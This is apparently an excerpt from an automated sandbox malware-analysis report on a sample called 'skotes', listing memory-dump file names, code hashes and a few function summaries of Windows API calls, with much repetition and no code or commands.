Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 69cdc355ac3d54af5a0513b60ddc2967f39a90910d7cdf8f5f99e7357052797b
Instruction ID: c251e3e61a22855c06ab82534721c271af637990cbcc55c3357cca5266852e29
Opcode Fuzzy Hash: 69cdc355ac3d54af5a0513b60ddc2967f39a90910d7cdf8f5f99e7357052797b
Instruction Fuzzy Hash: 2BE08612398308E6FE1472E8696FF7F71548FE5708F611A38AA14D60908B649D4449A3

Function 001C7590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000064,BEAAE258,?,00000000,00209138,000000FF), ref: 001C75CC
CreateThread.KERNELBASE(00000000,00000000,001C7430,00228638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001C76BF
Sleep.KERNELBASE(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001C76C9

Part of subcall function 001DD0C7: RtlWakeAllConditionVariable.NTDLL ref: 001DD17B

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: ead281dd3f827e1f91658660914e4e8c5238cea1cdc8ec0578440ce91a9afa33
Instruction ID: 83628fdfa665bc67526ebfbdbd0093a098fc429996537b4b65ae74ded6ea245d
Opcode Fuzzy Hash: ead281dd3f827e1f91658660914e4e8c5238cea1cdc8ec0578440ce91a9afa33
Instruction Fuzzy Hash: 8451F470211248ABEB24DF68EC89FAC3BA9EB54704F50461DF815973D1CBBAE484CF91

Function 001F6FB4 Relevance: 4.6, APIs: 3, Instructions: 145COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,001F6EE6), ref: 001F6FD6
GetFileInformationByHandle.KERNELBASE(?,?), ref: 001F7030
__dosmaperr.LIBCMT ref: 001F70C5

Part of subcall function 001F732A: __dosmaperr.LIBCMT ref: 001F735F

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 42f9174c22e52e159ea4c7c63127d2d24cafd2c6fcf61ec1a7f6f947c41986b6
Instruction ID: 8bac531a2f8d867a96716eb36710af5153c3ad1d90faef05e7b5c62d6d660c54
Opcode Fuzzy Hash: 42f9174c22e52e159ea4c7c63127d2d24cafd2c6fcf61ec1a7f6f947c41986b6
Instruction Fuzzy Hash: CB414BB1904608ABDB24EFB5DC419BFB7F9EF89300B14492DFA56D3250EB309905CB61

Function 001F6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7ad4d456a1c75426c4e6e61224dfa5e84dd6e4c5aaa91fb2b7b68ded767178e
Instruction ID: ee99587e7203782cfb645399895ea2784841ce8a4b2a91105f4d224beee58f4e
Opcode Fuzzy Hash: d7ad4d456a1c75426c4e6e61224dfa5e84dd6e4c5aaa91fb2b7b68ded767178e
Instruction Fuzzy Hash: CF21F57290510C7BEB11AB68EC42BBF3729DF42378F250215FB642B1D2DB709E0296A1

Function 001D6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 001D6D10
Sleep.KERNELBASE(00007530), ref: 001D6D25

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
